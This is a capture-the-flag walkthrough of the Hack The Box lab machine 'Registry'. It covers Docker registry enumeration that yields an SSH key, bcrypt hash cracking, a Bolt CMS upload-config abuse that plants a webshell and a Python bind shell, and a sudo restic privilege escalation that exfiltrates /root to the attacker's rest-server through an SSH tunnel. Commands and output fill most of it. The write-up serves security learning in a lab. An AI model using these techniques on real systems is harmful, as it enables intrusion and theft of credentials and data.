→ My very first Hard box is now retired. A machine where you can exploit if you know what the technology is used. The initial scan has give me a big hint that this machine is using Docker and 3rd party server named REGISTRY Server. And in the server there’s a lot container which I downloaded and find an SSH Key to get in to the machine and get the user.txt. On my Privilege Escalation to the box’ I found out that I need to do lateral movement to the www-data shell which basically the webserver. From that, user can abuse SUDOERS rights by running the Restic and create a backup for root directory to my Kali Linux machine and get the shell and root.txt.
Penetration Testing Methodologies
Network Scanning
→ Nmap scan
→ discover open ports and what services are running
Enumeration
→ Browsing the HTTP Service
→ put the commonName in /etc/hosts/ file that appear on the Nmap Scan
→ Download and analyze the install file
→ Visit the docker.registry.htb and Look for interesting stuff in a Docker API
Post - Exploitation
→ Enumerating the Docker API by following this method
→ Found the docker repository that contains image called bolt-image
→ Found the some blobs file from latest
→ Download all the blob files and try to look for a password or ssh key
→ Get in to the Registry machine
Exploitation
→ Enumerate the Bolt CMS Website
→ using LinPEAS i found a hash that I can use for password of the website
→ Looking at configuration I modify the config.yml and upload 2 webshells as fast as I can to gain www-data shell.
Privilege Escalation
→ Abuse what www-data allowed to run which is the restic
→ create snapshot on my Kali linux machine which will be the backup server for restic
→ do reverse SSH in bolt user shell
→ run the restic on www-data and backup the root directory that will transfer into my machine.
→ get the id_rsa key on ssh folder, and login as root.
→ Finally rooted and got the root.txt
Network Scanning
Walkthrough
→ First, I run the NMAP to scan the target and get information about the various services that are running on the target machine. I use
-sV ⇒ Probe open ports to determine service/version info
-sC ⇒ equivalent to —script=default
-T 0-5 ⇒ Set timing template - higher is faster (less accurate)
root in htb/boxes/Registry ❯ nmap -sV -sC -p- -T4 10.10.10.159 -oN nmap-Registry Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-04 06:26 PST Warning: 10.10.10.159giving up on port because retransmission cap hit (6). Nmap scan report for 10.10.10.159 Host isup (0.25s latency). Not shown: 65458 closed ports, 74 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA) | 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA) |_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! 443/tcp open ssl/http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! | ssl-cert: Subject: commonName=docker.registry.htb | Not valid before: 2019-05-06T21:14:35 |_Not valid after: 2029-05-03T21:14:35 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1IP address (1 host up) scanned in 1218.67 seconds root in htb/boxes/Registry took 20m19s ❯
Nmap results
So there’s port open.
22 ⇒ which basically use for SSH Connections
80 ⇒ which basically running HTTP Service
443 ⇒ which running also HTTP/S and have ssl-cert – commonName=docker.registry.htb, I added that on my hosts file.
Enumeration
So I always visit first the HTTP service because that is a website and I got default page of a Nginx Server.
There’s no hint for that so i try enumerate the website using dirsearchWeb path scanner to look for website page or items which can give me a hints.
So I thought this was only ordinary a text file but it’s not, is a gzip file so I tried to move into a gzip and decompressed but it’s not working, and I don’t whats wrong so I move on and go the the next phase.
# bash
root in htb/boxes/Registry ❯ file install install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200
Explore Docker Registry
Next, i visited the docker.registry.htb and there will be a popup login requesting for username and password, I input admin:admin on that and it’s displaying a JSON API page.
and the JSON API
Post - Exploitation
Next, I search for Docker api registry exploitation and I didn’t failed. I found this awesome article which help me to get a password for SSH Key by exploring each blobs file.
So based on the method of the article, I look first at the /v2/_catalog and there’s a docker repository called "bolt-image" and it is basically a collection of related images.
Diving the Docker Repository
Next I added /tags/list and there was repository install called latest
trying to look at the /manifest/v2
To download the file latest I added simply this in the url /manifest/latest.
Open this file and we will see a lot of blobSum does have the latest repository in a Docker registry. Each of them will contains some info like password, files, ssh key etc.
Base on the first blob i download it looks like the "GkOcz221Ftb3ugog" is a password for SSH Key but I don’t have the id_rsa which is needed as from this line.
root in sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791 (1)/root/.ssh ❯
I move the the id_rsa in my registry directory and do the SSH Login so:
# bash
root in htb/boxes/Registry ❯ ssh -v -i id_rsa bolt@registry.htb OpenSSH_8.1p1 Debian-1, OpenSSL 1.1.1d 10 Sep 2019 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * debug1: Connecting to registry.htb [10.10.10.159] port 22. debug1: Connection established. debug1: identity file id_rsa type 0 debug1: identity file id_rsa-cert type -1 debug1: Local version string SSH-2.0-OpenSSH_8.1p1 Debian-1 debug1: Remote protocol version 2.0, remote software version OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 debug1: match: OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 pat OpenSSH_7.0*,OpenSSH_7.1*,OpenSSH_7.2*,OpenSSH_7.3*,OpenSSH_7.4*,OpenSSH_7.5*,OpenSSH_7.6*,OpenSSH_7.7* compat 0x04000002 debug1: Authenticating to registry.htb:22 as 'bolt' debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: algorithm: curve25519-sha256 debug1: kex: host key algorithm: ecdsa-sha2-nistp256 debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ecdsa-sha2-nistp256 SHA256:G1J5ek/T6KuCCT7Xp2IN1LUslRt24mhmhKUo/kWWVrs debug1: Host 'registry.htb' is known and matches the ECDSA host key. debug1: Found key in /root/.ssh/known_hosts:5 debug1: rekey out after 134217728 blocks debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: rekey in after 134217728 blocks debug1: Will attempt key: id_rsa RSA SHA256:XYmIvRC1pWwn6TnuAismBkezuFTeVa0viiqKVkR36w4 explicit debug1: SSH2_MSG_EXT_INFO received debug1: kex_input_ext_info: server-sig-algs=<ssh-ed25519,ssh-rsa,rsa-sha2-256,rsa-sha2-512,ssh-dss,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521> debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Offering public key: id_rsa RSA SHA256:XYmIvRC1pWwn6TnuAismBkezuFTeVa0viiqKVkR36w4 explicit debug1: Server accepts key: id_rsa RSA SHA256:XYmIvRC1pWwn6TnuAismBkezuFTeVa0viiqKVkR36w4 explicit Enter passphrase for key 'id_rsa': debug1: Authentication succeeded (publickey). Authenticated to registry.htb ([10.10.10.159]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending environment. debug1: Sending env LANG = en_US.utf8 Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Sat Apr 4 01:14:31 UTC 2020
System load: 0.0 Users logged in: 1 Usage of /: 5.7% of 61.80GB IP address for eth0: 10.10.10.159 Memory usage: 39% IP address for br-1bad9bd75d17: 172.18.0.1 Swap usage: 0% IP address for docker0: 172.17.0.1 Processes: 163 Last login: Sat Apr 4 00:57:04 2020 from 10.10.15.8 bolt@bolt:~$ whoami & hostname [1] 6324 bolt bolt bolt@bolt:~$
and Finally i can now get the user.txt
# bash
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Sat Apr 4 01:14:31 UTC 2020
System load: 0.0 Users logged in: 1 Usage of /: 5.7% of 61.80GB IP address for eth0: 10.10.10.159 Memory usage: 39% IP address for br-1bad9bd75d17: 172.18.0.1 Swap usage: 0% IP address for docker0: 172.17.0.1 Processes: 163 Last login: Sat Apr 4 00:57:04 2020 from 10.10.15.8 bolt@bolt:~$ whoami & hostname [1] 6324 bolt bolt bolt@bolt:~$ ls user.txt [1]+ Done whoami bolt@bolt:~$ cat user.txt ytc0y[-----------------------]3ywzi bolt@bolt:~$
Exploitation
So it’s time to do enumeration again the bolt user shell, I tried LinPEAS to enumerate the shell, then I found out that there was a CMS installed in the machine which is "Bolt CMS"
wget, curl was not working, so I try netcat to transfer the linpeash.sh
# bash
# on my registry machine (the receiver) bolt@bolt:/tmp$ nc -l -p 1234 > linpeas.sh
# and on my kali linux machine (the sender) root in boxes/Registry/docker ❯ nc -w 3 10.10.10.159 1234 < linpeas.sh
# run linpeas on registry bolt@bolt:/tmp$ chmod +x linpeas.sh bolt@bolt:/tmp$ bash linpeas.sh
Registry Basic Information
# bash
====================================( Basic information )===================================== OS: Linux version 4.15.0-65-generic (buildd@lgw01-amd64-006) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #74-Ubuntu SMP Tue Sep 1717:06:04 UTC 2019 User & Groups: uid=1001(bolt) gid=1001(bolt) groups=1001(bolt) Hostname: bolt Writable folder: /dev/shm [+] /bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h) [+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h) [+] nmap is available for network discover & port scanning, you should use it yourself
BOLT CMS WEBSITE
Going deep of recon I see db.sqlite which contains a password hash, and installed CMS Website at /var/www/html directory.
# bash
[+] Looking for tables inside readable .db/.sqlite files(limit 100) -> Extracting tables from /var/www/html/bolt/vendor/codeception/codeception/tests/data/sqlite.db (limit 20) -> Extracting tables from /var/www/html/bolt/tests/phpunit/unit/resources/db/bolt.db (limit 20) --> Found for interesting column names in bolt_authtoken(output limit 10) CREATE TABLE bolt_authtoken(id INTEGER NOT NULL, user_id INTEGER DEFAULT NULL, username VARCHAR(32) DEFAULT NULL, token VARCHAR(128) NOT NULL, salt VARCHAR(128) NOT NULL, lastseen DATETIME DEFAULT NULL, ip VARCHAR(45) DEFAULT NULL, useragent VARCHAR(128) DEFAULT NULL, validity DATETIME DEFAULT NULL, PRIMARY KEY(id)) --> Found for interesting column names in bolt_users (output limit 10) CREATE TABLE bolt_users(id INTEGER NOT NULL, username VARCHAR(32) NOT NULL, password VARCHAR(128) NOT NULL, email VARCHAR(254) NOT NULL, lastseen DATETIME DEFAULT NULL, lastip VARCHAR(45) DEFAULT NULL, displayname VARCHAR(32) NOT NULL, stack CLOB NOT NULL --(DC2Type:json) , enabled BOOLEAN DEFAULT '1' NOT NULL, shadowpassword VARCHAR(128) DEFAULT NULL, shadowtoken VARCHAR(128) DEFAULT NULL, shadowvalidity DATETIME DEFAULT NULL, failedlogins INTEGER DEFAULT 0 NOT NULL, throttleduntil DATETIME DEFAULT NULL, roles CLOB NOT NULL --(DC2Type:json) , PRIMARY KEY(id)) -> Extracting tables from /var/www/html/bolt/app/database/bolt.db (limit 20) --> Found for interesting column names in bolt_authtoken(output limit 10) CREATE TABLE bolt_authtoken(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, user_id INTEGER DEFAULT NULL, username VARCHAR(32) DEFAULT NULL, token VARCHAR(128) NOT NULL, salt VARCHAR(128) NOT NULL, lastseen DATETIME DEFAULT NULL, ip VARCHAR(45) DEFAULT NULL, useragent VARCHAR(128) DEFAULT NULL, validity DATETIME DEFAULT NULL) 9, 1, None, 2e3f688aab59a4586f54fbd3f284eb3b941b0580142356d840c7e582801b6388, 33aa58459b97be252a29fd98e3cdf81b, 2020-04-04 18:48:37, 10.10.15.104, Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0, 2020-04-18 18:48:37 --> Found for interesting column names in bolt_users(output limit 10) CREATE TABLE bolt_users(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, username VARCHAR(32) NOT NULL, password VARCHAR(128) NOT NULL, email VARCHAR(254) NOT NULL, lastseen DATETIME DEFAULT NULL, lastip VARCHAR(45) DEFAULT NULL, displayname VARCHAR(32) NOT NULL, stack CLOB NOT NULL --(DC2Type:json) , enabled BOOLEAN DEFAULT '1' NOT NULL, shadowpassword VARCHAR(128) DEFAULT NULL, shadowtoken VARCHAR(128) DEFAULT NULL, shadowvalidity DATETIME DEFAULT NULL, failedlogins INTEGER DEFAULT 0 NOT NULL, throttleduntil DATETIME DEFAULT NULL, roles CLOB NOT NULL --(DC2Type:json) ) 1, admin, $2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK, bolt@registry.htb, 2020-04-04 22:00:22, 10.10.15.139, Admin, ["files://lass.php"], 1, None, None, None, 0, None, ["root","everyone"]
[+] Web files?(output limit) /var/www/: total 16K drwxr-xr-x 4 root root 4.0K May 262019 . drwxr-xr-x 14 root root 4.0K May 192019 .. drwx------ 3 root root 4.0K May 262019 .cache drwxrwxr-x 4 www-data www-data 4.0K Apr 422:01 html
root in htb/boxes/Registry via 🐘 v7.3.15 ❯ john bolt-hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status strawberry (admin) 1g 0:00:00:05 DONE (2020-04-0506:54) 0.1996g/s 71.85p/s 71.85c/s 71.85C/s strawberry..brianna Use the "--show" option to display all of the cracked passwords reliably Session completed root in htb/boxes/Registry via 🐘 v7.3.15 took 9s ❯
after only 9 seconds i get the password strawberry and login this into Bolt CMS
BOLT CMS LOGIN PAGE
After login it display the dashboard which has a lot of stuffs.
BOLT CMS DASHBOARD PAGE
I search on the bolt cms exploit and I found this article it is the same version on the bolt cms installed on the registry machine.
I tried to follow the exploitation but it doesn’t work. Also this part was really hard because theres a cron job inside that will erase everything you modified to I need to be fast as much.
So this is the default Config.yml in Bolt CMS Configuration where you can edit accept_file_types.
In the configuration file i’ll put php, and py extensions so I can upload my webshells. Why I need to upload 2 different file ? PHP Reverse Shell is not working so I search for other webshell that I can execute and get remote inside on the webserver.
Until i found out that I can use Bind Shell go gain remote shell. So I created my simple bind shell with python. this is similar to this one
# python
#!/usr/bin/python3
# Usage: nc -v <ipaddress> 9001 in the attacker machine to connect to the shell
save it ! then I used p0wnyShell so I can run the bind shell (shell.py) and connect it with my Kali Linux so. after done setting up I’ uploaded it into File Management inside the Bolt CMS.
now I will open the p0wnyshell and run the shell.py
You will see that the port is in already in use but it’s okay I can still connect with my Kali Linux, and Now I’m on the shell of www-data
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ nc -v 10.10.10.1599001 registry.htb [10.10.10.159] 9001 (?) open www-data@bolt:~/html/bolt/files$ ls ls www-data@bolt:~/html/bolt/files$ whoami whoami www-data
Privilege Escalation
As a www-data user we can restic sudo
# bash
www-data@bolt:~/html/bolt/files$ sudo -l sudo -l Matching Defaults entries for www-data on bolt: env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bolt: (root) NOPASSWD: /usr/bin/restic backup -r rest* www-data@bolt:~/html/bolt/files$
So as we have privilege for running the restic we can get the root.
RESTIC BACKUP PROGRAM
So what is Restic ? Restic is a backup program that is fast, efficient and secure. It supports the three major operating systems (Linux, macOS, Windows) and a few smaller ones (FreeBSD, OpenBSD).
Since we have privilege by running restic we can backup the root directory and get the administrator shell.
First I install restic into may Kali Linux.
# bash
sudo apt-get install restic
after the installation, I will create backup folder and set a password on that.
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 took 4m1s ❯ mkdir backups
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ restic init -r ./backups/ enter password for new repository: enter password again: created restic repository 6f893c5da1 at ./backups/
Please note that knowledge of your password is required to access the repository. Losing your password means that your data is irrecoverably lost.
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 took 13s ❯
Looking at the backups directories
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 took 13s ❯ ls backups/ config data index keys locks snapshots
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯
SETTING UP THE SERVER
Now I will install docker to my machine and start a server at port 8000
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ sudo apt install docker.io
Now i will run restic server on my machine and set the path at /backups so:
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ docker run -p 8000:8000 -v /root/htb/boxes/Registry/backups/:/backups -it restic/rest-server sh / # rest-server --path /backups rest-server 0.9.7 compiled with go1.10 on linux/amd64 Data directory: /backups Authentication disabled Private repositories disabled Starting server on :8000
after it’s successfully start the server we will go back the the bolt user shell and set reverse SSH so:
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ ssh -i id_rsa -R 8000:127.0.0.1:8000 bolt@10.10.10.159 Enter passphrase for key 'id_rsa': Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Sun Apr 5 01:51:21 UTC 2020
System load: 0.0 Users logged in: 1 Usage of /: 5.7% of 61.80GB IP address for eth0: 10.10.10.159 Memory usage: 37% IP address for br-1bad9bd75d17: 172.18.0.1 Swap usage: 1% IP address for docker0: 172.17.0.1 Processes: 164 Last login: Sun Apr 5 01:15:52 2020 from 10.10.15.43 bolt@bolt:~$
CREATING BACKUPS
Looks good ! Now I can create backups in www-data, I will choose to backup /root/ folder because this what I need to ge the administrator so:
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ nc -v 10.10.10.159 12346 registry.htb [10.10.10.159] 12346 (?) open www-data@bolt:~/html/bolt/files$
www-data@bolt:~/html/bolt/files$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:8000/ /root </restic backup -r rest:http://127.0.0.1:8000/ /root enter password for repository: -------------
password is correct found 2 old cache directories in /var/www/.cache/restic, pass --cleanup-cache to remove them scan [/root] scanned 10 directories, 14 files in 0:00 [0:01] 100.00% 28.066 KiB / 28.066 KiB 24 / 24 items 0 errors ETA 0:00 duration: 0:01 snapshot 4d60990a saved www-data@bolt:~/html/bolt/files$
Now it’s successfully saved on snapshot, back into my machine I will restore the backup I created.
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ restic -r backups/ restore latest --target restore/ enter password for repository: repository 6f893c5d opened successfully, password is correct created new cache in /root/.cache/restic restoring <Snapshot 4d60990a of [/root] at 2020-04-05 01:58:02.792216091 +0000 UTC by root@bolt> to restore/
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 took 4s ❯
Success ! Now it will create /restore folder which contains all the files we need, from there I can get the root.txt
# bash
root in htb/boxes/Registry via 🐘 v7.3.15 via 🐍 v2.7.17 ❯ cd restore
root in boxes/Registry/restore ❯ ls root
root in boxes/Registry/restore ❯ cd root
root in Registry/restore/root ❯ ls config.yml cron.sh root.txt
root in Registry/restore/root ❯ cat root.txt ntrk[---------------------]kztgw
isn’t enough we need the administrator shell, i will use the id_rsa inside the .ssh so:
root in restore/root/.ssh ❯ ssh -i id_rsa root@registry.htb Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)
System information as of Sun Apr 5 02:06:19 UTC 2020
System load: 0.0 Users logged in: 1 Usage of /: 5.7% of 61.80GB IP address for eth0: 10.10.10.159 Memory usage: 38% IP address for br-1bad9bd75d17: 172.18.0.1 Swap usage: 1% IP address for docker0: 172.17.0.1 Processes: 169 Last login: Mon Oct 21 09:53:48 2019 root@bolt: whoami root root@bolt:~#
If you liked my writeup please leave a respect on my Profile
